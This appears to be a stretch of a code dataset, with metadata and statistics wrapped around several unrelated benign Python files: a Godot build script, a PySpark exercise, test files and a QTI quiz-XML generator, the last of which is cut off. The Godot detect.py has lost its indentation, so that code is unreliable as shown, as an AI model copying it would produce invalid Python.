|
68325d7254db711beaedddad218e2cddb405c42c
|
[
"CC-BY-3.0",
"MIT"
] | 17
|
2016-12-30T14:35:53.000Z
|
2017-03-07T21:07:50.000Z
|
platform/server/detect.py
|
leyyin/godot
|
68325d7254db711beaedddad218e2cddb405c42c
|
[
"CC-BY-3.0",
"MIT"
] | 9
|
2017-08-04T12:00:16.000Z
|
2021-12-10T06:48:28.000Z
|
import os
import sys
def is_active():
return True
def get_name():
return "Server"
def can_build():
if (os.name!="posix"):
return False
return True # enabled
def get_opts():
return [
('use_llvm','Use llvm compiler','no'),
('force_32_bits','Force 32 bits binary','no')
]
def get_flags():
return [
('builtin_zlib', 'no'),
]
def configure(env):
env.Append(CPPPATH=['#platform/server'])
if (env["use_llvm"]=="yes"):
env["CC"]="clang"
env["CXX"]="clang++"
env["LD"]="clang++"
if (env["colored"]=="yes"):
if sys.stdout.isatty():
env.Append(CXXFLAGS=["-fcolor-diagnostics"])
is64=sys.maxsize > 2**32
if (env["bits"]=="default"):
if (is64):
env["bits"]="64"
else:
env["bits"]="32"
#if (env["tools"]=="no"):
# #no tools suffix
# env['OBJSUFFIX'] = ".nt"+env['OBJSUFFIX']
# env['LIBSUFFIX'] = ".nt"+env['LIBSUFFIX']
if (env["target"]=="release"):
env.Append(CCFLAGS=['-O2','-ffast-math','-fomit-frame-pointer'])
elif (env["target"]=="release_debug"):
env.Append(CCFLAGS=['-O2','-ffast-math','-DDEBUG_ENABLED'])
elif (env["target"]=="debug"):
env.Append(CCFLAGS=['-g2', '-Wall','-DDEBUG_ENABLED','-DDEBUG_MEMORY_ENABLED'])
env.Append(CPPFLAGS=['-DSERVER_ENABLED','-DUNIX_ENABLED'])
env.Append(LIBS=['pthread','z']) #TODO detect linux/BSD!
if (env["CXX"]=="clang++"):
env.Append(CPPFLAGS=['-DTYPED_METHOD_BIND'])
env["CC"]="clang"
env["LD"]="clang++"
| 17.679012
| 81
| 0.609637
| 193
| 1,432
| 4.42487
| 0.435233
| 0.084309
| 0.056206
| 0.030445
| 0.063232
| 0.063232
| 0
| 0
| 0
| 0
| 0
| 0.014516
| 0.134078
| 1,432
| 80
| 82
| 17.9
| 0.674194
| 0.106844
| 0
| 0.173913
| 0
| 0
| 0.335697
| 0.017336
| 0
| 0
| 0
| 0.0125
| 0
| 1
| 0.130435
| false
| 0
| 0.043478
| 0.086957
| 0.304348
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6fc32c8a31669a37234337e3418a714af3c26bd
| 1,483
|
py
|
Python
|
IntroToSpark/Assign4_Q1-6_action.py
|
petersontylerd/spark-courses
|
e8dcb4968ea31a50206739e6af3006889f8c3c6c
|
[
"MIT"
] | null | null | null |
IntroToSpark/Assign4_Q1-6_action.py
|
petersontylerd/spark-courses
|
e8dcb4968ea31a50206739e6af3006889f8c3c6c
|
[
"MIT"
] | null | null | null |
IntroToSpark/Assign4_Q1-6_action.py
|
petersontylerd/spark-courses
|
e8dcb4968ea31a50206739e6af3006889f8c3c6c
|
[
"MIT"
] | 1
|
2021-03-26T11:47:37.000Z
|
2021-03-26T11:47:37.000Z
|
import csv
from pyspark.sql import SparkSession
from pyspark.sql.types import IntegerType
spark = SparkSession.builder.appName("Assignment4").getOrCreate()
sc = spark.sparkContext
# load data to dataframe
path = 'fake_data.csv'
df = spark.read.format('csv').option('header','true').load(path)
# cast income as an integer
df = df.withColumn('Income', df['Income'].cast(IntegerType()))
# Question 1
print('*' * 30)
print('\nQuestion 1\n')
print(df.rdd.map(lambda x: (x[1], x[0])).groupByKey().mapValues(lambda vals: len(set(vals))).sortBy(lambda a: a[1], ascending = False).take(1))
print('\n\n')
# Question 2
print('*' * 30)
print('\nQuestion 2\n')
print(df.rdd.filter(lambda v: v[1] == 'United States of America').map(lambda x: (x[1], x[4])).groupByKey().mapValues(lambda x: sum(x) / len(x)).collect())
print('\n\n')
# Question 3
print('*' * 30)
print('\nQuestion 3\n')
print(df.rdd.filter(lambda v: v[4] > 100000).filter(lambda v: v[7] == 'FALSE').count())
print('\n\n')
# Question 4
print('*' * 30)
print('\nQuestion 4\n')
print(df.rdd.filter(lambda v: v[1] == 'United States of America').sortBy(lambda x: x[4], ascending = False).map(lambda x: (x[3], x[6], x[4], x[5])).take(10))
print('\n\n')
# Question 5
print('*' * 30)
print('\nQuestion 5\n')
print(df.rdd.groupBy(lambda x: x[5]).count())
print('\n\n')
# Question 6
print('*' * 30)
print('\nQuestion 6\n')
print(df.rdd.filter(lambda v: v[5] == 'Writer').filter(lambda x: x[4] < 100000).count())
print('\n\n')
| 26.017544
| 157
| 0.652057
| 246
| 1,483
| 3.926829
| 0.296748
| 0.050725
| 0.074534
| 0.130435
| 0.217391
| 0.175983
| 0.149068
| 0.149068
| 0.097308
| 0.097308
| 0
| 0.043511
| 0.116655
| 1,483
| 56
| 158
| 26.482143
| 0.693893
| 0.076871
| 0
| 0.375
| 0
| 0
| 0.163476
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.09375
| 0
| 0.09375
| 0.75
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 1
|
e6fc5742d6236482be2f3020d03479a9c33e3222
| 274
|
py
|
Python
|
src/firebot/tests/factories.py
|
zipmex/fire
|
a41bbdbc86085c055ae4706fadea4f142e881a85
|
[
"Apache-2.0"
] | 52
|
2017-03-15T16:25:14.000Z
|
2022-03-01T16:50:14.000Z
|
src/firebot/tests/factories.py
|
zipmex/fire
|
a41bbdbc86085c055ae4706fadea4f142e881a85
|
[
"Apache-2.0"
] | 239
|
2017-03-16T17:10:22.000Z
|
2022-03-06T07:24:24.000Z
|
src/firebot/tests/factories.py
|
zipmex/fire
|
a41bbdbc86085c055ae4706fadea4f142e881a85
|
[
"Apache-2.0"
] | 8
|
2017-03-15T17:45:18.000Z
|
2022-01-26T14:51:03.000Z
|
import factory
from django.contrib.auth import get_user_model
class UserFactory(factory.DjangoModelFactory):
class Meta:
model = get_user_model()
first_name = factory.Faker('name')
last_name = factory.Faker('name')
email = factory.Faker('email')
| 21.076923
| 46
| 0.715328
| 34
| 274
| 5.588235
| 0.529412
| 0.189474
| 0.126316
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.182482
| 274
| 12
| 47
| 22.833333
| 0.848214
| 0
| 0
| 0
| 0
| 0
| 0.047445
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.875
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
e6fc7870ccb1bbdefca5d31e7c6358dd9b6c9578
| 482
|
py
|
Python
|
reamber/o2jam/O2JHold.py
|
Bestfast/reamberPy
|
91b76ca6adf11fbe8b7cee7c186481776a4d7aaa
|
[
"MIT"
] | null | null | null |
reamber/o2jam/O2JHold.py
|
Bestfast/reamberPy
|
91b76ca6adf11fbe8b7cee7c186481776a4d7aaa
|
[
"MIT"
] | null | null | null |
reamber/o2jam/O2JHold.py
|
Bestfast/reamberPy
|
91b76ca6adf11fbe8b7cee7c186481776a4d7aaa
|
[
"MIT"
] | null | null | null |
from dataclasses import dataclass, field
from reamber.base.Hold import Hold, HoldTail
from reamber.o2jam.O2JNoteMeta import O2JNoteMeta
@dataclass
class O2JHoldTail(HoldTail, O2JNoteMeta):
pass
@dataclass
class O2JHold(Hold, O2JNoteMeta):
""" Defines the O2Jam Bpm Object
The O2Jam Bpm Object is stored in binary file .ojn
"""
_tail: O2JHoldTail = field(init=False)
def _upcastTail(self, **kwargs) -> O2JHoldTail:
return O2JHoldTail(**kwargs)
| 21.909091
| 54
| 0.73029
| 57
| 482
| 6.140351
| 0.578947
| 0.062857
| 0.062857
| 0.097143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030612
| 0.186722
| 482
| 21
| 55
| 22.952381
| 0.862245
| 0.165975
| 0
| 0.181818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.090909
| false
| 0.090909
| 0.272727
| 0.090909
| 0.727273
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
fc01bbc538287134d61e574ed4af064a81cfdf43
| 1,307
|
py
|
Python
|
test/utils/test_geodesic.py
|
shrey-bansal/pytorch_geometric
|
17108a08066b0a73530544d01719b186f2625ef2
|
[
"MIT"
] | 2
|
2020-12-06T13:10:52.000Z
|
2021-07-06T06:50:10.000Z
|
test/utils/test_geodesic.py
|
shrey-bansal/pytorch_geometric
|
17108a08066b0a73530544d01719b186f2625ef2
|
[
"MIT"
] | null | null | null |
test/utils/test_geodesic.py
|
shrey-bansal/pytorch_geometric
|
17108a08066b0a73530544d01719b186f2625ef2
|
[
"MIT"
] | 1
|
2019-05-31T02:45:38.000Z
|
2019-05-31T02:45:38.000Z
|
from math import sqrt
import torch
from torch_geometric.utils import geodesic_distance
def test_geodesic_distance():
pos = torch.Tensor([[0, 0, 0], [2, 0, 0], [0, 2, 0], [2, 2, 0]])
face = torch.tensor([[0, 1, 3], [0, 2, 3]]).t()
out = geodesic_distance(pos, face)
expected = [
[0, 1, 1, sqrt(2)],
[1, 0, sqrt(2), 1],
[1, sqrt(2), 0, 1],
[sqrt(2), 1, 1, 0],
]
assert torch.allclose(out, torch.tensor(expected))
assert torch.allclose(out, geodesic_distance(pos, face, num_workers=-1))
out = geodesic_distance(pos, face, norm=False)
expected = [
[0, 2, 2, 2 * sqrt(2)],
[2, 0, 2 * sqrt(2), 2],
[2, 2 * sqrt(2), 0, 2],
[2 * sqrt(2), 2, 2, 0],
]
assert torch.allclose(out, torch.tensor(expected))
src = torch.tensor([0, 0, 0, 0])
dest = torch.tensor([0, 1, 2, 3])
out = geodesic_distance(pos, face, src=src, dest=dest)
expected = [0, 1, 1, sqrt(2)]
assert torch.allclose(out, torch.tensor(expected))
out = geodesic_distance(pos, face, src=src[0:1])
expected = [0, 1, 1, sqrt(2)]
assert torch.allclose(out, torch.tensor(expected))
out = geodesic_distance(pos, face, dest=dest)
expected = [0, 0, 0, 0]
assert torch.allclose(out, torch.Tensor(expected))
| 30.395349
| 76
| 0.574598
| 202
| 1,307
| 3.663366
| 0.143564
| 0.027027
| 0.17973
| 0.178378
| 0.662162
| 0.467568
| 0.445946
| 0.394595
| 0.224324
| 0.224324
| 0
| 0.077778
| 0.24254
| 1,307
| 42
| 77
| 31.119048
| 0.669697
| 0
| 0
| 0.235294
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176471
| 1
| 0.029412
| false
| 0
| 0.088235
| 0
| 0.117647
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc021cb14dd8b84a0a6873924f2194048e2791f0
| 1,415
|
py
|
Python
|
forte/processors/tests/stanfordnlp_processor_test.py
|
tcl326/forte
|
d0d7b8b97da5e1d507dfa7cd4ec51d96067770b8
|
[
"Apache-2.0"
] | null | null | null |
forte/processors/tests/stanfordnlp_processor_test.py
|
tcl326/forte
|
d0d7b8b97da5e1d507dfa7cd4ec51d96067770b8
|
[
"Apache-2.0"
] | null | null | null |
forte/processors/tests/stanfordnlp_processor_test.py
|
tcl326/forte
|
d0d7b8b97da5e1d507dfa7cd4ec51d96067770b8
|
[
"Apache-2.0"
] | null | null | null |
"""This module tests Stanford NLP processors."""
import os
import unittest
from texar.torch import HParams
from forte.pipeline import Pipeline
from forte.data.readers import StringReader
from forte.processors.stanfordnlp_processor import StandfordNLPProcessor
from ft.onto.base_ontology import Token, Sentence
class TestStanfordNLPProcessor(unittest.TestCase):
def setUp(self):
self.stanford_nlp = Pipeline()
self.stanford_nlp.set_reader(StringReader())
models_path = os.getcwd()
config = HParams({
"processors": "tokenize",
"lang": "en",
# Language code for the language to build the Pipeline
"use_gpu": False
}, StandfordNLPProcessor.default_hparams())
self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path),
config=config)
self.stanford_nlp.initialize()
# TODO
@unittest.skip("We need to test this without needing to download models "
"everytime")
def test_stanford_processor(self):
sentences = ["This tool is called Forte.",
"The goal of this project to help you build NLP "
"pipelines.",
"NLP has never been made this easy before."]
document = ' '.join(sentences)
pack = self.stanford_nlp.process(document)
print(pack)
| 36.282051
| 77
| 0.638869
| 152
| 1,415
| 5.848684
| 0.552632
| 0.074241
| 0.084364
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.279859
| 1,415
| 38
| 78
| 37.236842
| 0.872424
| 0.071378
| 0
| 0
| 0
| 0
| 0.16909
| 0
| 0
| 0
| 0
| 0.026316
| 0
| 1
| 0.066667
| false
| 0
| 0.233333
| 0
| 0.333333
| 0.033333
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
fc070f80801a319fdf697b23e027ce45aa2d558c
| 26,632
|
py
|
Python
|
text2cc/xml_assessment.py
|
dlehman83/text2cc
|
303798993590bceaeb5238a6cce82893c37cdfc7
|
[
"BSD-3-Clause"
] | 1
|
2021-02-12T09:34:07.000Z
|
2021-02-12T09:34:07.000Z
|
text2cc/xml_assessment.py
|
dlehman83/text2cc
|
303798993590bceaeb5238a6cce82893c37cdfc7
|
[
"BSD-3-Clause"
] | null | null | null |
text2cc/xml_assessment.py
|
dlehman83/text2cc
|
303798993590bceaeb5238a6cce82893c37cdfc7
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
#
# Copyright (c) 2021, Dana Lehman
# Copyright (c) 2020, Geoffrey M. Poore
# All rights reserved.
#
# Licensed under the BSD 3-Clause License:
# http://opensource.org/licenses/BSD-3-Clause
#
from .quiz import Quiz, Question, GroupStart, GroupEnd, TextRegion
BEFORE_ITEMS = '''\
<?xml version="1.0" encoding="UTF-8"?>
<questestinterop xmlns="http://www.imsglobal.org/xsd/ims_qtiasiv1p2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd">
<assessment ident="{assessment_identifier}" title="{title}">
<qtimetadata>
<qtimetadatafield>
<fieldlabel>cc_maxattempts</fieldlabel>
<fieldentry>1</fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>
cc_profile
</fieldlabel>
<fieldentry>
cc.exam.v0p1
</fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>
qmd_assessmenttype
</fieldlabel>
<fieldentry>
Examination
</fieldentry>
</qtimetadatafield>
</qtimetadata>
<section ident="root_section">
'''
AFTER_ITEMS = '''\
</section>
</assessment>
</questestinterop>
'''
GROUP_START = '''\
<section ident="{ident}" title="{group_title}">
<selection_ordering>
<selection>
<selection_number>{pick}</selection_number>
<selection_extension>
<points_per_item>{points_per_item}</points_per_item>
</selection_extension>
</selection>
</selection_ordering>
'''
GROUP_END = '''\
</section>
'''
TEXT = '''\
<item ident="{ident}" title="{text_title_xml}">
<itemmetadata>
<qtimetadata>
<qtimetadatafield>
<fieldlabel>cc_profile</fieldlabel>
<fieldentry>text_only_question</fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>points_possible</fieldlabel>
<fieldentry>0</fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>original_answer_ids</fieldlabel>
<fieldentry></fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>assessment_question_identifierref</fieldlabel>
<fieldentry>{assessment_question_identifierref}</fieldentry>
</qtimetadatafield>
</qtimetadata>
</itemmetadata>
<presentation>
<material>
<mattext texttype="text/html">{text_html_xml}</mattext>
</material>
</presentation>
</item>
'''
START_ITEM = '''\
<item ident="{question_identifier}" title="{question_title}">
'''
END_ITEM = '''\
</item>
'''
ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\
<itemmetadata>
<qtimetadata>
<qtimetadatafield>
<fieldlabel>cc_profile</fieldlabel>
<fieldentry>{question_type}</fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>points_possible</fieldlabel>
<fieldentry>{points_possible}</fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>original_answer_ids</fieldlabel>
<fieldentry>{original_answer_ids}</fieldentry>
</qtimetadatafield>
<qtimetadatafield>
<fieldlabel>assessment_question_identifierref</fieldlabel>
<fieldentry>{assessment_question_identifierref}</fieldentry>
</qtimetadatafield>
</qtimetadata>
</itemmetadata>
'''
ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '')
ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY
ITEM_PRESENTATION_MCTF = '''\
<presentation>
<material>
<mattext texttype="text/html">{question_html_xml}</mattext>
</material>
<response_lid ident="response1" rcardinality="Single">
<render_choice>
{choices}
</render_choice>
</response_lid>
</presentation>
'''
ITEM_PRESENTATION_MCTF_CHOICE = '''\
<response_label ident="{ident}">
<material>
<mattext texttype="text/html">{choice_html_xml}</mattext>
</material>
</response_label>'''
ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple')
ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE
ITEM_PRESENTATION_SHORTANS = '''\
<presentation>
<material>
<mattext texttype="text/html">{question_html_xml}</mattext>
</material>
<response_str ident="response1" rcardinality="Single">
<render_fib>
<response_label ident="answer1" rshuffle="No"/>
</render_fib>
</response_str>
</presentation>
'''
ITEM_PRESENTATION_ESSAY = '''\
<presentation>
<material>
<mattext texttype="text/html">{question_html_xml}</mattext>
</material>
<response_str ident="response1" rcardinality="Single">
<render_fib>
<response_label ident="answer1" rshuffle="No"/>
</render_fib>
</response_str>
</presentation>
'''
ITEM_PRESENTATION_UPLOAD = '''\
<presentation>
<material>
<mattext texttype="text/html">{question_html_xml}</mattext>
</material>
</presentation>
'''
ITEM_PRESENTATION_NUM = '''\
<presentation>
<material>
<mattext texttype="text/html">{question_html_xml}</mattext>
</material>
<response_str ident="response1" rcardinality="Single">
<render_fib fibtype="Decimal">
<response_label ident="answer1"/>
</render_fib>
</response_str>
</presentation>
'''
ITEM_RESPROCESSING_START = '''\
<resprocessing>
<outcomes>
<decvar maxvalue="100" minvalue="0" varname="SCORE" vartype="Decimal"/>
</outcomes>
'''
ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\
<respcondition continue="Yes">
<conditionvar>
<other/>
</conditionvar>
<displayfeedback feedbacktype="Response" linkrefid="general_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\
<respcondition continue="Yes">
<conditionvar>
<varequal respident="response1">{ident}</varequal>
</conditionvar>
<displayfeedback feedbacktype="Response" linkrefid="{ident}_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<varequal respident="response1">{ident}</varequal>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
<displayfeedback feedbacktype="Response" linkrefid="correct_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<varequal respident="response1">{ident}</varequal>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
</respcondition>
'''
ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\
<respcondition continue="Yes">
<conditionvar>
<other/>
</conditionvar>
<displayfeedback feedbacktype="Response" linkrefid="general_incorrect_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK
ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\
<respcondition continue="Yes">
<conditionvar>
<varequal respident="response1">{answer_xml}</varequal>
</conditionvar>
<displayfeedback feedbacktype="Response" linkrefid="{ident}_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
{varequal}
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
<displayfeedback feedbacktype="Response" linkrefid="correct_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
{varequal}
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
</respcondition>
'''
ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\
<varequal respident="response1">{answer_xml}</varequal>'''
ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK
ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK
ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK
ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<and>
{varequal}
</and>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
<displayfeedback feedbacktype="Response" linkrefid="correct_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<and>
{varequal}
</and>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
</respcondition>
'''
ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\
<varequal respident="response1">{ident}</varequal>'''
ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\
<not>
<varequal respident="response1">{ident}</varequal>
</not>'''
ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK
ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK
ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK
ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK
ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<vargte respident="response1">{num_min}</vargte>
<varlte respident="response1">{num_max}</varlte>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
<displayfeedback feedbacktype="Response" linkrefid="correct_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<vargte respident="response1">{num_min}</vargte>
<varlte respident="response1">{num_max}</varlte>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
</respcondition>
'''
ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<or>
<varequal respident="response1">{num_exact}</varequal>
<and>
<vargte respident="response1">{num_min}</vargte>
<varlte respident="response1">{num_max}</varlte>
</and>
</or>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
<displayfeedback feedbacktype="Response" linkrefid="correct_fb"/>
</respcondition>
'''
ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\
<respcondition continue="No">
<conditionvar>
<or>
<varequal respident="response1">{num_exact}</varequal>
<and>
<vargte respident="response1">{num_min}</vargte>
<varlte respident="response1">{num_max}</varlte>
</and>
</or>
</conditionvar>
<setvar action="Set" varname="SCORE">100</setvar>
</respcondition>
'''
ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK
ITEM_RESPROCESSING_ESSAY = '''\
<respcondition continue="No">
<conditionvar>
<other/>
</conditionvar>
</respcondition>
'''
ITEM_RESPROCESSING_END = '''\
</resprocessing>
'''
ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\
<itemfeedback ident="general_fb">
<flow_mat>
<material>
<mattext texttype="text/html">{feedback}</mattext>
</material>
</flow_mat>
</itemfeedback>
'''
ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\
<itemfeedback ident="correct_fb">
<flow_mat>
<material>
<mattext texttype="text/html">{feedback}</mattext>
</material>
</flow_mat>
</itemfeedback>
'''
ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\
<itemfeedback ident="general_incorrect_fb">
<flow_mat>
<material>
<mattext texttype="text/html">{feedback}</mattext>
</material>
</flow_mat>
</itemfeedback>
'''
ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\
<itemfeedback ident="{ident}_fb">
<flow_mat>
<material>
<mattext texttype="text/html">{feedback}</mattext>
</material>
</flow_mat>
</itemfeedback>
'''
def assessment(*, quiz: Quiz, assessment_identifier: str, title_xml: str) -> str:
'''
Generate assessment XML from Quiz.
'''
xml = []
xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier,
title=title_xml))
for question_or_delim in quiz.questions_and_delims:
if isinstance(question_or_delim, TextRegion):
xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}',
text_title_xml=question_or_delim.title_xml,
assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}',
text_html_xml=question_or_delim.text_html_xml))
continue
if isinstance(question_or_delim, GroupStart):
xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}',
group_title=question_or_delim.group.title_xml,
pick=question_or_delim.group.pick,
points_per_item=question_or_delim.group.points_per_question))
continue
if isinstance(question_or_delim, GroupEnd):
xml.append(GROUP_END)
continue
if not isinstance(question_or_delim, Question):
raise TypeError
question = question_or_delim
xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}',
question_title=question.title_xml))
if question.type in ('true_false_question', 'multiple_choice_question',
'short_answer_question', 'multiple_answers_question'):
item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM
original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for c in question.choices)
elif question.type == 'numerical_question':
item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM
original_answer_ids = f'text2qti_numerical_{question.id}'
elif question.type == 'essay_question':
item_metadata = ITEM_METADATA_ESSAY
original_answer_ids = f'text2qti_essay_{question.id}'
elif question.type == 'file_upload_question':
item_metadata = ITEM_METADATA_UPLOAD
original_answer_ids = f'text2qti_upload_{question.id}'
else:
raise ValueError
#Type Change for Schoology CC Import
if question.type == 'multiple_choice_question':
typechange = 'cc.multiple_choice.v0p1'
elif question.type == 'true_false_question':
typechange = 'cc.true_false.v0p1'
elif question.type == 'short_answer_question':
typechange = 'cc.fib.v0p1'
elif question.type == 'multiple_answers_question':
typechange = 'cc.multiple_response.v0p1'
elif question.type == 'essay_question':
typechange = 'cc.essay.v0p1'
else:
typechange = question.type
xml.append(item_metadata.format(question_type=typechange,
points_possible=question.points_possible,
original_answer_ids=original_answer_ids,
assessment_question_identifierref=f'text2qti_question_ref_{question.id}'))
if question.type in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'):
if question.type in ('true_false_question', 'multiple_choice_question'):
item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE
item_presentation = ITEM_PRESENTATION_MCTF
elif question.type == 'multiple_answers_question':
item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE
item_presentation = ITEM_PRESENTATION_MULTANS
else:
raise ValueError
choices = '\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml)
for c in question.choices)
xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices))
elif question.type == 'short_answer_question':
